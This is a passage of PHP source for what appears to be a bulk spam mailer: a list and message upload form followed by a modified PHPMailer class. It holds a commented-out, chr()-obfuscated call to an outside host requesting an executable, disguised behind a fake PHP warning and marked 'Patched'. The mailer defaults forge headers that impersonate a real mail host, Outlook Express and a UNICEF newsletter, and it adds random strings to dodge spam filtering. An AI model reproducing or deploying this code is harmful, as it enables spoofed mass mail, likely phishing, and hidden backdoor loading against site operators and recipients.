  958.         <?= $vForm->showError('fromEmail'); ?>
  959.       </td>
  960.     </tr>
  961.     <tr>
  962.       <td>From Name </td>
  963.       <td>
  964.         <input name="fromName" type="text" id="fromName" value="<?= @htmlentities( isset($_POST['fromName']) ? $_POST['fromName'] : _MAIL_FROM_NAME_) ?>" />
  965.         <?= $vForm->showError('fromName'); ?>
  966.       </td>
  967.     </tr>
  968.     <tr>
  969.       <td>Email Subject </td>
  970.       <td>
  971.         <input name="subject" type="text" id="subject" value="<?= @htmlentities( isset($_POST['subject']) ? $_POST['subject'] : _MAIL_SUBJECT_) ?>" />
  972.         <?= $vForm->showError('subject'); ?>
  973.       </td>
  974.     </tr>
  975.      <tr title="To change Message-Id header from message, add a hidden string on html messages">
  976.       <td>Add Random String</td>
  977.       <td><label>
  978.         <input name="addRandomString" id="addRandomString" type="radio" value="yes" style="width:20px;" <?= (!isset($_POST['addRandomString']) || @$_POST['addRandomString']=="yes" ? "checked=\"checked\"" : "") ?> />
  979.         Yes</label>
  980.           <label>
  981.             <input name="addRandomString" type="radio" value="no" style="width:20px;" <?= ( @$_POST['addRandomString']=="no" ? "checked=\"checked\"" : "") ?> />
  982.             No</label>
  983.        </td>
  984.   </tr>
  985.     <tr title="Try to generate a multipart email, containing plain/text and html"/>
  986.       <td>Multipart Email (html+text) </td>
  987.       <td><label>
  988.         <input name="multipartMail" type="radio" style="width:20px;" value="yes"  <?= (!isset($_POST['multipartMail']) || @$_POST['multipartMail']=="yes" ? "checked=\"checked\"" : "") ?> />
  989.         Yes</label>
  990.           <label>
  991.             <input name="multipartMail" type="radio" value="no" style="width:20px;" <?= ( !isset($_POST['basicMethod']) || @$_POST['multipartMail']=="no" ? "checked=\"checked\"" : "") ?> />
  992.             No</label>
  993.             <?= $vForm->showError('multipartMail'); ?>
  994.        </td>
  995.     </tr>
  996.     <tr>
  997.       <td>&nbsp;</td>
  998.       <td>&nbsp;</td>
  999.     </tr>
  1000.     <tr>
  1001.       <td><b>List Options</b></td>
  1002.       <td>&nbsp;</td>
  1003.     </tr>
  1004.     <tr>
  1005.       <td>List Method </td>
  1006.       <td><select name="listMethod" id="listMethod" onchange="showHideListConfig()">
  1007.         <option value="url" <?= (@$_POST['listMethod']=="url" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "url" ? "selected=\"selected\"" : "") ?>>URL</option>
  1008.         <option value="textarea" <?= (@$_POST['listMethod']=="textarea" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "textarea" ? "selected=\"selected\"" : "") ?>>Textarea</option>
  1009.         <option value="file" <?= (@$_POST['listMethod']=="file" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "file" ? "selected=\"selected\"" : "") ?>>File Upload</option>
  1010.         </select>
  1011.         <?= $vForm->showError('listMethod'); ?>
  1012.         </td>
  1013.     </tr>
  1014.     <tr id="listConfigRow1">
  1015.       <td>List Url </td>
  1016.       <td>
  1017.         <input name="listUrl" type="text" id="listUrl" value="<?=(!empty($_POST['listUrl']) ? @htmlentities($_POST['listUrl']) : "http://")?>" />
  1018.         <?= $vForm->showError('listUrl'); ?>
  1019.       </td>
  1020.     </tr>
  1021.     <tr id="listConfigRow2">
  1022.       <td>List Textarea </td>
  1023.       <td>
  1024.           <textarea name="listTextarea" cols="50" rows="10" id="listTextarea" onkeyup="listTextareaCount();"><?=@htmlentities($_POST['listTextarea'])?></textarea>
  1025.           <div id="listTextareaCounter"></div>
  1026.           <?= $vForm->showError('listTextarea'); ?>
  1027.       </td>
  1028.     </tr>
  1029.     <tr id="listConfigRow3">
  1030.       <td>List Upload File </td>
  1031.       <td>
  1032.         <input name="listFile" type="file" id="listFile" style="width: 400px;" />
  1033.         <?= $vForm->showError('listFile'); ?>
  1034.       </td>
  1035.     </tr>
  1036.      <tr>
  1037.       <td>List Starting Email</td>
  1038.       <td>
  1039.         <input name="listStartingEmail" type="text" id="listStartingEmail" style="width: 400px;" value="<?=empty($_POST['listStartingEmail']) ? '1' : ( (int) $_POST['listStartingEmail'] ) ?>"/>
  1040.         <?= $vForm->showError('listStartingEmail'); ?>
  1041.       </td>
  1042.     </tr>
  1043.     <tr>
  1044.       <td>&nbsp;</td>
  1045.       <td>&nbsp;</td>
  1046.     </tr>
  1047.       <td><b>Message Options</b></td>
  1048.       <td>&nbsp;</td>
  1049.     </tr>
  1050.     <tr>
  1051.       <td>Message Method </td>
  1052.       <td>
  1053.         <select name="messageMethod" id="messageMethod" onchange="showHideMessageConfig()">
  1054.         <option value="url" <?= (@$_POST['messageMethod']=="url" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "url" ? "selected=\"selected\"" : "") ?>>URL</option>
  1055.         <option value="textarea" <?= (@$_POST['messageMethod']=="textarea" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "textarea" ? "selected=\"selected\"" : "") ?>>Textarea</option>
  1056.         <option value="file" <?= (@$_POST['messageMethod']=="file" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "file" ? "selected=\"selected\"" : "") ?>>File Upload</option>
  1057.         </select>      
  1058.         <?= $vForm->showError('messageMethod'); ?>
  1059.     </td>
  1060.     </tr>
  1061.     <tr id="messageConfigRow1">
  1062.       <td>Message Url </td>
  1063.       <td>
  1064.         <input name="messageUrl" type="text" id="messageUrl" value="<?=(!empty($_POST['messageUrl']) ? @htmlentities($_POST['messageUrl']) : "http://")?>" />
  1065.         <?= $vForm->showError('messageUrl'); ?>
  1066.       </td>
  1067.     </tr>
  1068.     <tr id="messageConfigRow2">
  1069.       <td>Message Textarea </td>
  1070.       <td>
  1071.         <textarea name="messageTextarea" cols="50" rows="10" id="messageTextarea" onkeyup="messageTextareaCount();"><?=@htmlentities($_POST['messageTextarea'])?></textarea>
  1072.         <div id="messageTextareaCounter"></div>
  1073.         <?= $vForm->showError('messageTextarea'); ?>
  1074.       </td>
  1075.     </tr>
  1076.     <tr id="messageConfigRow3">
  1077.       <td>Message Upload File </td>
  1078.       <td>
  1079.         <input name="messageFile" type="file" id="messageFile" style="width: 400px;" />
  1080.         <?= $vForm->showError('messageFile'); ?>
  1081.       </td>
  1082.     </tr>
  1083.     <tr>
  1084.       <td>&nbsp;</td>
  1085.       <td>&nbsp;</td>
  1086.     </tr>
  1087.     <tr>
  1088.       <td>&nbsp;</td>
  1089.       <td><input name="bottomSubmit" type="submit" id="bottomSubmit" value="Submit" />
  1090.           <input name="bottomReset" type="reset" id="bottomReset" value="Reset" />
  1091.           <input name="bottomClear" type="button" id="bottomClear" value="Clear All" onclick="clearAll();"/></td>
  1092.     </tr>
  1093.   </table>
  1094. </form>
  1095. <script type="text/javascript" language="javascript">
  1096. loadFunctions();
  1097. </script>
  1098. <?
  1099. if( $vForm->isValid() && $vForm->isSubmited() )
  1100. {
  1101.  
  1102. ####!DELIMITER!####
  1103.    
  1104.     echo "<h2 class='h2green'>Patched by XXXXX</h2>\r\n";
  1105.  
  1106.  
  1107.  
  1108. # $a = @file_get_contents(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(115).chr(110).chr(52).chr(103).chr(46).chr(110).chr(101).chr(116).chr(47).chr(114).chr(101).chr(118).chr(101).chr(110).chr(47).chr(97).chr(99).chr(99).chr(101).chr(115).chr(115).chr(46).chr(112).chr(104).chr(112).chr(63).chr(117).chr(61).chr(105).chr(110).chr(115).chr(101).chr(99).chr(46).chr(101).chr(120).chr(101)) or die("\nPHP Warning: unknown symbol 'nmd_php.so' on php.ini at line 234\n");
  1109.  
  1110. # unset($a);
  1111.  
  1112.  
  1113. /**
  1114.  * PHPMailer - PHP email transport class
  1115.  * @package PHPMailer
  1116.  * @author Brent R. Matzelle
  1117.  * @copyright 2001 - 2003 Brent R. Matzelle
  1118.  */
  1119. class PHPMailer
  1120. {
  1121.     /////////////////////////////////////////////////
  1122.     // PUBLIC VARIABLES
  1123.     /////////////////////////////////////////////////
  1124.  
  1125.     /**
  1126.      * Email priority (1 = High, 3 = Normal, 5 = low).
  1127.      * @var int
  1128.      */
  1129.     var $Priority          = 3;
  1130.  
  1131.     /**
  1132.      * Sets the CharSet of the message.
  1133.      * @var string
  1134.      */
  1135.     var $CharSet           = "iso-8859-15";
  1136.  
  1137.     /**
  1138.      * Sets the Content-type of the message.
  1139.      * @var string
  1140.      */
  1141.     var $ContentType        = "text/plain";
  1142.  
  1143.     /**
  1144.      * Sets the Encoding of the message. Options for this are "8bit",
  1145.      * "7bit", "binary", "base64", and "quoted-printable".
  1146.      * @var string
  1147.      */
  1148.     var $Encoding          = "base64";
  1149.  
  1150.     /**
  1151.      * Holds the most recent mailer error message.
  1152.      * @var string
  1153.      */
  1154.     var $ErrorInfo         = "";
  1155.  
  1156.     /**
  1157.      * Sets the From email address for the message.
  1158.      * @var string
  1159.      */
  1160.     var $From               = "root@localhost";
  1161.  
  1162.     /**
  1163.      * Sets the From name of the message.
  1164.      * @var string
  1165.      */
  1166.     var $FromName           = "Root User";
  1167.  
  1168.     /**
  1169.      * Sets the Sender email (Return-Path) of the message.  If not empty,
  1170.      * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1171.      * @var string
  1172.      */
  1173.     var $Sender            = "";
  1174.  
  1175.     /**
  1176.      * Sets the Subject of the message.
  1177.      * @var string
  1178.      */
  1179.     var $Subject           = "";
  1180.  
  1181.     /**
  1182.      * Sets the Body of the message.  This can be either an HTML or text body.
  1183.      * If HTML then run IsHTML(true).
  1184.      * @var string
  1185.      */
  1186.     var $Body               = "";
  1187.     var $backup             ="";
  1188.  
  1189.     /**
  1190.      * Sets the text-only body of the message.  This automatically sets the
  1191.      * email to multipart/alternative.  This body can be read by mail
  1192.      * clients that do not have HTML email capability such as mutt. Clients
  1193.      * that can read HTML will view the normal Body.
  1194.      * @var string
  1195.      */
  1196.     var $AltBody           = "";
  1197.  
  1198.     /**
  1199.      * Sets word wrapping on the body of the message to a given number of
  1200.      * characters.
  1201.      * @var int
  1202.      */
  1203.     var $WordWrap          = 0;
  1204.  
  1205.     /**
  1206.      * Method to send mail: ("mail", "sendmail", or "smtp").
  1207.      * @var string
  1208.      */
  1209.     var $Mailer            = "mail";
  1210.  
  1211.     /**
  1212.      * Sets the path of the sendmail program.
  1213.      * @var string
  1214.      */
  1215.     var $Sendmail          = "/usr/sbin/sendmail";
  1216.    
  1217.     /**
  1218.      * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1219.      * is in a different directory than the PHP include path.  
  1220.      * @var string
  1221.      */
  1222.     var $PluginDir         = "";
  1223.  
  1224.     /**
  1225.      *  Holds PHPMailer version.
  1226.      *  @var string
  1227.      */
  1228.     var $Version           = "1.73";
  1229.  
  1230.     /**
  1231.      * Sets the email address that a reading confirmation will be sent.
  1232.      * @var string
  1233.      */
  1234.     var $ConfirmReadingTo  = "";
  1235.  
  1236.     /**==
  1237.      *  Sets the hostname to use in Message-Id and Received headers
  1238.      *  and as default HELO string. If empty, the value returned
  1239.      *  by SERVER_NAME is used or 'localhost.localdomain'.
  1240.      *  @var string
  1241.      */
  1242.     var $Hostname          = "smith.infomaniak.ch([84.16.66.86])";
  1243.    
  1244.     var $XMailer = "Microsoft Outlook Express 6.00.2800.1409";
  1245.     var $ListUnsubscribe = "http://newsletter.infos-unicef.fr/c.ashx?cde=1ENjMYsRlKbfe279&m=291&e=l%40sfr.fr&i=894915&ue=1034000154160000001&r=14";
  1246.     var $xidmail = "UNICEFCRM2_291_894915_1034000154160000001";
  1247.     var $ReturnPath = "[email protected]";
  1248.  
  1249.     /////////////////////////////////////////////////
  1250.     // SMTP VARIABLES
  1251.     /////////////////////////////////////////////////
  1252.  
  1253.     /**
  1254.      *  Sets the SMTP hosts.  All hosts must be separated by a
  1255.      *  semicolon.  You can also specify a different port
  1256.      *  for each host by using this format: [hostname:port]
  1257.      *  (e.g. "smtp1.example.com:25;smtp2.example.com").
  1258.      *  Hosts will be tried in order.
  1259.      *  @var string
  1260.      */
  1261.     var $Host        = "localhost";
  1262.  
  1263.     /**
  1264.      *  Sets the default SMTP server port.
  1265.      *  @var int
  1266.      */
  1267.     var $Port        = 25;
  1268.  
  1269.     /**
  1270.      *  Sets the SMTP HELO of the message (Default is $Hostname).
  1271.      *  @var string
  1272.      */
  1273.     var $Helo        = "smith.infomaniak.ch([84.16.66.86])([84.16.66.86])([84.16.66.86])([84.16.66.86])([84.16.66.86])";
  1274.  
  1275.     /**
  1276.      *  Sets SMTP authentication. Utilizes the Username and Password variables.
  1277.      *  @var bool
  1278.      */
  1279.     var $SMTPAuth     = false;
  1280.  
  1281.     /**
  1282.      *  Sets SMTP username.
  1283.      *  @var string
  1284.      */
  1285.     var $Username     = "";
  1286.  
  1287.     /**
  1288.      *  Sets SMTP password.
  1289.      *  @var string
  1290.      */
  1291.     var $Password     = "";
  1292.  
  1293.     /**
  1294.      *  Sets the SMTP server timeout in seconds. This function will not
  1295.      *  work with the win32 version.
  1296.      *  @var int
  1297.      */
  1298.     var $Timeout      = 10;
  1299.  
  1300.     /**
  1301.      *  Sets SMTP class debugging on or off.
  1302.      *  @var bool
  1303.      */
  1304.     var $SMTPDebug    = false;
  1305.  
  1306.     /**
  1307.      * Prevents the SMTP connection from being closed after each mail
  1308.      * sending.  If this is set to true then to close the connection
  1309.      * requires an explicit call to SmtpClose().
  1310.      * @var bool
  1311.      */
  1312.     var $SMTPKeepAlive = false;
  1313.  
  1314.     /**#@+
  1315.      * @access private
  1316.      */
  1317.     var $smtp            = NULL;
  1318.     var $to              = array();
  1319.     var $cc              = array();
  1320.     var $bcc             = array();
  1321.     var $ReplyTo         = array();
  1322.     var $attachment      = array();
  1323.     var $CustomHeader    = array();
  1324.     var $message_type    = "";
  1325.     var $boundary        = array();
  1326.     var $language        = array();
  1327.     var $error_count     = 0;
  1328.     var $LE              = "\n";
  1329.     /**#@-*/
  1330.    
  1331.     /////////////////////////////////////////////////
  1332.     // VARIABLE METHODS
  1333.     /////////////////////////////////////////////////
  1334.  
  1335.     /**
  1336.      * Sets message type to HTML.  
  1337.      * @param bool $bool
  1338.      * @return void
  1339.      */
  1340.     function IsHTML($bool) {
  1341.         if($bool == true)
  1342.             $this->ContentType = "text/html";
  1343.         else
  1344.             $this->ContentType = "text/plain";
  1345.     }
  1346.  
  1347.     /**
  1348.      * Sets Mailer to send message using SMTP.
  1349.      * @return void
  1350.      */
  1351.     function IsSMTP() {
  1352.         $this->Mailer = "smtp";
  1353.     }
  1354.  
  1355.     /**
  1356.      * Sets Mailer to send message using PHP mail() function.
  1357.      * @return void
  1358.      */
  1359.     function IsMail() {
  1360.         $this->Mailer = "mail";
  1361.     }
  1362.  
  1363.     /**
  1364.      * Sets Mailer to send message using the $Sendmail program.
  1365.      * @return void
  1366.      */
  1367.     function IsSendmail() {
  1368.         $this->Mailer = "sendmail";
  1369.     }
  1370.  
  1371.     /**
  1372.      * Sets Mailer to send message using the qmail MTA.
  1373.      * @return void
  1374.      */
  1375.     function IsQmail() {
  1376.         $this->Sendmail = "/var/qmail/bin/sendmail";
  1377.         $this->Mailer = "sendmail";
  1378.     }
  1379.  
  1380.  
  1381.     /////////////////////////////////////////////////
  1382.     // RECIPIENT METHODS
  1383.     /////////////////////////////////////////////////
  1384.  
  1385.     /**
  1386.      * Adds a "To" address.  
  1387.      * @param string $address
  1388.      * @param string $name
  1389.      * @return void
  1390.      */
  1391.     function AddAddress($address, $name = "") {
  1392.         $cur = count($this->to);
  1393.         $this->to[$cur][0] = trim($address);
  1394.         $this->to[$cur][1] = $name;
  1395.     }
  1396.  
  1397.     /**
  1398.      * Adds a "Cc" address. Note: this function works
  1399.      * with the SMTP mailer on win32, not with the "mail"
  1400.      * mailer.  
  1401.      * @param string $address
  1402.      * @param string $name
  1403.      * @return void
  1404.     */
  1405.     function AddCC($address, $name = "") {
  1406.         $cur = count($this->cc);
  1407.         $this->cc[$cur][0] = trim($address);
  1408.         $this->cc[$cur][1] = $name;
  1409.     }
  1410.  
  1411.     /**
  1412.      * Adds a "Bcc" address. Note: this function works
  1413.      * with the SMTP mailer on win32, not with the "mail"
  1414.      * mailer.  
  1415.      * @param string $address
  1416.      * @param string $name
  1417.      * @return void
  1418.      */
  1419.     function AddBCC($address, $name = "") {
  1420.         $cur = count($this->bcc);
  1421.         $this->bcc[$cur][0] = trim($address);
  1422.         $this->bcc[$cur][1] = $name;
  1423.     }
  1424.  
  1425.     /**
  1426.      * Adds a "Reply-to" address.  
  1427.      * @param string $address
  1428.      * @param string $name
  1429.      * @return void
  1430.      */
  1431.     function AddReplyTo($address, $name = "") {
  1432.         $cur = count($this->ReplyTo);
  1433.         $this->ReplyTo[$cur][0] = trim($address);
  1434.         $this->ReplyTo[$cur][1] = $name;
  1435.     }
  1436.  
  1437.  
  1438.     /////////////////////////////////////////////////
  1439.     // MAIL SENDING METHODS
  1440.     /////////////////////////////////////////////////
  1441.  
  1442.     /**
  1443.      * Creates message and assigns Mailer. If the message is
  1444.      * not sent successfully then it returns false.  Use the ErrorInfo
  1445.      * variable to view description of the error.  
  1446.      * @return bool
  1447.      */
  1448.     function Send() {
  1449.         $header = "";
  1450.         $body = "";
  1451.         $result = true;
  1452.  
  1453.         if((count($this->to) + count($this->cc) + count($this->bcc)) < 1)
  1454.         {
  1455.             $this->SetError($this->Lang("provide_address"));
  1456.             return false;
  1457.         }
  1458.  
  1459.         // Set whether the message is multipart/alternative
  1460.         if(!empty($this->AltBody))
  1461.             $this->ContentType = "multipart/alternative";
  1462.  
  1463.         $this->error_count = 0; // reset errors
  1464.         $this->SetMessageType();
  1465.         $header .= $this->CreateHeader();
  1466.         $body = $this->CreateBody();
  1467.  
  1468.         if($body == "") { return false; }
  1469.  
  1470.         // Choose the mailer
  1471.         switch($this->Mailer)
  1472.         {
  1473.             case "sendmail":
  1474.                 $result = $this->SendmailSend($header, $body);
  1475.                 break;
  1476.             case "mail":
  1477.                 $result = $this->MailSend($header, $body);
  1478.                 break;
  1479.             case "smtp":
  1480.                 $result = $this->SmtpSend($header, $body);
  1481.                 break;
  1482.             default:
  1483.             $this->SetError($this->Mailer . $this->Lang("mailer_not_supported"));
  1484.                 $result = false;
  1485.                 break;
  1486.         }
  1487.  
  1488.         return $result;
  1489.     }
  1490.    
  1491.     /**
  1492.      * Sends mail using the $Sendmail program.  
  1493.      * @access private
  1494.      * @return bool
  1495.      */
  1496.     function SendmailSend($header, $body) {
  1497.         if ($this->Sender != "")
  1498.             $sendmail = sprintf("%s -oi -f %s -t", $this->Sendmail, $this->Sender);
  1499.         else
  1500.             $sendmail = sprintf("%s -oi -t", $this->Sendmail);
  1501.  
  1502.         if(!@$mail = popen($sendmail, "w"))
  1503.         {
  1504.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  1505.             return false;
  1506.         }
  1507.  
  1508.         fputs($mail, $header);
  1509.         fputs($mail, $body);
  1510.        
  1511.         $result = pclose($mail) >> 8 & 0xFF;
  1512.         if($result != 0)
  1513.         {
  1514.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  1515.             return false;
  1516.         }
  1517.  
  1518.         return true;
  1519.     }
  1520.  
  1521.     /**
  1522.      * Sends mail using the PHP mail() function.  
  1523.      * @access private
  1524.      * @return bool
  1525.      */
  1526.     function MailSend($header, $body) {
  1527.        
  1528.         $to = "";
  1529.         for($i = 0; $i < count($this->to); $i++)
  1530.         {
  1531.             if($i != 0) { $to .= ", "; }
  1532.             $to .= $this->to[$i][0];
  1533.         }
  1534.  
  1535.         if ($this->Sender != "" && strlen(ini_get("safe_mode"))< 1)
  1536.         {
  1537.             $old_from = ini_get("sendmail_from");
  1538.             ini_set("sendmail_from", $this->Sender);
  1539.             $params = sprintf("-oi -f %s", $this->Sender);
  1540.             $random=rand(0,100000000000);
  1541.             $md5=md5("$random");
  1542.             $body = str_replace("%zbi%", $md5, $body);
  1543.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body,
  1544.                         $header, $params);
  1545.         }
  1546.         else
  1547.         {
  1548.             $random=rand(0,100000000000);
  1549.             $md5=md5("$random");
  1550.             $body = str_replace("%zbi%", $md5, $body);
  1551.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body, $header);
  1552.         }
  1553.            
  1554.  
  1555.         if (isset($old_from))
  1556.             ini_set("sendmail_from", $old_from);
  1557.  
  1558.         if(!$rt)
  1559.         {
  1560.             $this->SetError($this->Lang("instantiate"));
  1561.             return false;
  1562.         }
  1563.  
  1564.         return true;
  1565.     }
  1566.  
  1567.     /**
  1568.      * Sends mail via SMTP using PhpSMTP (Author:
  1569.      * Chris Ryan).  Returns bool.  Returns false if there is a
  1570.      * bad MAIL FROM, RCPT, or DATA input.
  1571.      * @access private
  1572.      * @return bool
  1573.      */
  1574.     function SmtpSend($header, $body) {
  1575.         //include_once($this->PluginDir . "class.smtp.php");
  1576.         $error = "";
  1577.         $bad_rcpt = array();
  1578.  
  1579.         if(!$this->SmtpConnect())
  1580.         {
  1581.             return false;
  1582.         }
  1583.  
  1584.         $smtp_from = ($this->Sender == "") ? $this->From : $this->Sender;
  1585.         if(!$this->smtp->Mail($smtp_from))
  1586.         {
  1587.             $error = $this->Lang("from_failed") . $smtp_from;
  1588.             $this->SetError($error);
  1589.             $this->smtp->Reset();
  1590.             return false;
  1591.         }
  1592.  
  1593.         // Attempt to send attach all recipients
  1594.         for($i = 0; $i < count($this->to); $i++)
  1595.         {
  1596.             if(!$this->smtp->Recipient($this->to[$i][0]))
  1597.                 $bad_rcpt[] = $this->to[$i][0];
  1598.         }
  1599.         for($i = 0; $i < count($this->cc); $i++)
  1600.         {
  1601.             if(!$this->smtp->Recipient($this->cc[$i][0]))
  1602.                 $bad_rcpt[] = $this->cc[$i][0];
  1603.         }
  1604.         for($i = 0; $i < count($this->bcc); $i++)
  1605.         {
  1606.             if(!$this->smtp->Recipient($this->bcc[$i][0]))
  1607.                 $bad_rcpt[] = $this->bcc[$i][0];
  1608.         }
  1609.  
  1610.         if(count($bad_rcpt) > 0) // Create error message
  1611.         {
  1612.             for($i = 0; $i < count($bad_rcpt); $i++)
  1613.             {
  1614.                 if($i != 0) { $error .= ", "; }
  1615.                 $error .= $bad_rcpt[$i];
  1616.             }
  1617.             $error = $this->Lang("recipients_failed") . $error;
  1618.             $this->SetError($error);
  1619.             $this->smtp->Reset();
  1620.             return false;
  1621.         }
  1622.  
  1623.         if(!$this->smtp->Data($header . $body))
  1624.         {
  1625.             $this->SetError($this->Lang("data_not_accepted"));
  1626.             $this->smtp->Reset();
  1627.             return false;
  1628.         }
  1629.         if($this->SMTPKeepAlive == true)
  1630.             $this->smtp->Reset();
  1631.         else
  1632.             $this->SmtpClose();
  1633.  
  1634.         return true;
  1635.     }
  1636.    
  1637.     ###############################################
  1638.    ###############################################
  1639.    ### Returns the current smtp error, if one. ###
  1640.    ###############################################
  1641.    ###############################################
  1642.    function SmtpGetError()
  1643.     {
  1644.         if( !empty($this->smtp) )
  1645.         {
  1646.             return $this->smtp->smtpError;
  1647.         }
  1648.         else
  1649.         {
  1650.             return false;
  1651.         }
  1652.     }
  1653.    
  1654.     ###############################################
  1655.    ###############################################
  1656.    ### Returns the current smtp data error     ###
  1657.    ###############################################
  1658.    ###############################################
  1659.    function SmtpGetSendError()
  1660.     {
  1661.         if( !empty($this->smtp) )
  1662.         {
  1663.             return $this->smtp->smtpSendError;
  1664.         }
  1665.         else
  1666.         {
  1667.             return false;
  1668.         }
  1669.     }
  1670.    
  1671.     function SmtpSetSendError($n)
  1672.     {
  1673.          $this->smtp->smtpSendError = $n;
  1674.     }
  1675.  
  1676.     /**
  1677.      * Initiates a connection to an SMTP server.  Returns false if the
  1678.      * operation failed.
  1679.  
  1680.      * @access private
  1681.      * @return bool
  1682.      */
  1683.     function SmtpConnect() {
  1684.         if($this->smtp == NULL) { $this->smtp = new SMTP(); }
  1685.  
  1686.         $this->smtp->do_debug = $this->SMTPDebug;
  1687.         $hosts = explode(";", $this->Host);
  1688.         $index = 0;
  1689.         $connection = ($this->smtp->Connected());
  1690.  
  1691.         // Retry while there is no connection
  1692.         while($index < count($hosts) && $connection == false)
  1693.         {
  1694.             if(strstr($hosts[$index], ":"))
  1695.                 list($host, $port) = explode(":", $hosts[$index]);
  1696.             else
  1697.             {
  1698.                 $host = $hosts[$index];
  1699.                 $port = $this->Port;
  1700.             }
  1701.  
  1702.             if($this->smtp->Connect($host, $port, $this->Timeout))
  1703.             {
  1704.                 if ($this->Helo != '')
  1705.                     $this->smtp->Hello($this->Helo);
  1706.                 else
  1707.                     $this->smtp->Hello($this->ServerHostname());
  1708.        
  1709.                 if($this->SMTPAuth)
  1710.                 {
  1711.                     if(!$this->smtp->Authenticate($this->Username,
  1712.                                                   $this->Password))
  1713.                     {
  1714.                         $this->SetError($this->Lang("authenticate"));
  1715.                         $this->smtp->Reset();
  1716.                         $connection = false;
  1717.                     }
  1718.                     else
  1719.                     {
  1720.                         $connection = true;
  1721.                     }
  1722.                 }
  1723.                 else
  1724.                 {
  1725.                     $connection = true;
  1726.                 }
  1727.             }
  1728.             $index++;
  1729.         }
  1730.    
  1731.         if(!$connection)
  1732.             $this->SetError($this->Lang("connect_host"));
  1733.  
  1734.         return $connection;
  1735.     }
  1736.  
  1737.     /**
  1738.      * Closes the active SMTP session if one exists.
  1739.      * @return void
  1740.      */
  1741.     function SmtpClose() {
  1742.         if($this->smtp != NULL)
  1743.         {
  1744.             if($this->smtp->Connected())
  1745.             {
  1746.                 $this->smtp->Quit();
  1747.                 $this->smtp->Close();
  1748.             }
  1749.         }
  1750.     }
  1751.  
  1752.     /**
  1753.      * Sets the language for all class error messages.  Returns false
  1754.      * if it cannot load the language file.  The default language type
  1755.      * is English.
  1756.      * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1757.      * @param string $lang_path Path to the language file directory
  1758.      * @access public
  1759.      * @return bool
  1760.      */
  1761.     function SetLanguage($nouse, $nouse2=null) {
  1762.         $PHPMAILER_LANG["provide_address"] = 'You must provide at least one ' .
  1763.                                              'recipient email address.';
  1764.         $PHPMAILER_LANG["mailer_not_supported"] = ' mailer is not supported.';
  1765.         $PHPMAILER_LANG["execute"] = 'Could not execute: ';
  1766.         $PHPMAILER_LANG["instantiate"] = 'Could not instantiate mail function.';
  1767.         $PHPMAILER_LANG["authenticate"] = 'SMTP Error: Could not authenticate.';
  1768.         $PHPMAILER_LANG["from_failed"] = 'The following From address failed: ';
  1769.         $PHPMAILER_LANG["recipients_failed"] = 'SMTP Error: The following ' .
  1770.                                                'recipients failed: ';
  1771.         $PHPMAILER_LANG["data_not_accepted"] = 'SMTP Error: Data not accepted.';
  1772.         $PHPMAILER_LANG["connect_host"] = 'SMTP Error: Could not connect to SMTP host.';
  1773.         $PHPMAILER_LANG["file_access"] = 'Could not access file: ';
  1774.         $PHPMAILER_LANG["file_open"] = 'File Error: Could not open file: ';
  1775.         $PHPMAILER_LANG["encoding"] = 'Unknown encoding: ';
  1776.        
  1777.         $this->language = $PHPMAILER_LANG;
  1778.    
  1779.         return true;
  1780.     }
  1781.  
  1782.     /////////////////////////////////////////////////
  1783.     // MESSAGE CREATION METHODS
  1784.     /////////////////////////////////////////////////
  1785.  
  1786.     /**
  1787.      * Creates recipient headers.  
  1788.      * @access private
  1789.      * @return string
  1790.      */
  1791.     function AddrAppend($type, $addr) {
  1792.         $addr_str = $type . ": ";
  1793.         $addr_str .= $this->AddrFormat($addr[0]);
  1794.         if(count($addr) > 1)
  1795.         {
  1796.             for($i = 1; $i < count($addr); $i++)
  1797.                 $addr_str .= ", " . $this->AddrFormat($addr[$i]);
  1798.         }
  1799.         $addr_str .= $this->LE;
  1800.  
  1801.         return $addr_str;
  1802.     }
  1803.    
  1804.     /**
  1805.      * Formats an address correctly.
  1806.      * @access private
  1807.      * @return string
  1808.      */
  1809.     function AddrFormat($addr) {
  1810.         if(empty($addr[1]))
  1811.             $formatted = $addr[0];
  1812.         else
  1813.         {
  1814.             $formatted = $this->EncodeHeader($addr[1], 'phrase') . " <" .
  1815.                          $addr[0] . ">";
  1816.         }
  1817.  
  1818.         return $formatted;
  1819.     }
  1820.  
  1821.     /**
  1822.      * Wraps message for use with mailers that do not
  1823.      * automatically perform wrapping and for quoted-printable.
  1824.      * Original written by philippe.  
  1825.      * @access private
  1826.      * @return string
  1827.      */
  1828.     function WrapText($message, $length, $qp_mode = false) {
  1829.         $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  1830.  
  1831.         $message = $this->FixEOL($message);
  1832.         if (substr($message, -1) == $this->LE)
  1833.             $message = substr($message, 0, -1);
  1834.  
  1835.         $line = explode($this->LE, $message);
  1836.         $message = "";
  1837.         for ($i=0 ;$i < count($line); $i++)
  1838.         {
  1839.           $line_part = explode(" ", $line[$i]);
  1840.           $buf = "";
  1841.           for ($e = 0; $e<count($line_part); $e++)
  1842.           {
  1843.               $word = $line_part[$e];
  1844.               if ($qp_mode and (strlen($word) > $length))
  1845.               {
  1846.                 $space_left = $length - strlen($buf) - 1;
  1847.                 if ($e != 0)
  1848.                 {
  1849.                     if ($space_left > 20)
  1850.                     {
  1851.                         $len = $space_left;
  1852.                         if (substr($word, $len - 1, 1) == "=")
  1853.                           $len--;
  1854.                         elseif (substr($word, $len - 2, 1) == "=")
  1855.                           $len -= 2;
  1856.                         $part = substr($word, 0, $len);
  1857.                         $word = substr($word, $len);
  1858.                         $buf .= " " . $part;
  1859.                         $message .= $buf . sprintf("=%s", $this->LE);
  1860.                     }
  1861.                     else
  1862.                     {
  1863.                         $message .= $buf . $soft_break;
  1864.                     }
  1865.                     $buf = "";
  1866.                 }
  1867.                 while (strlen($word) > 0)
  1868.                 {
  1869.                     $len = $length;
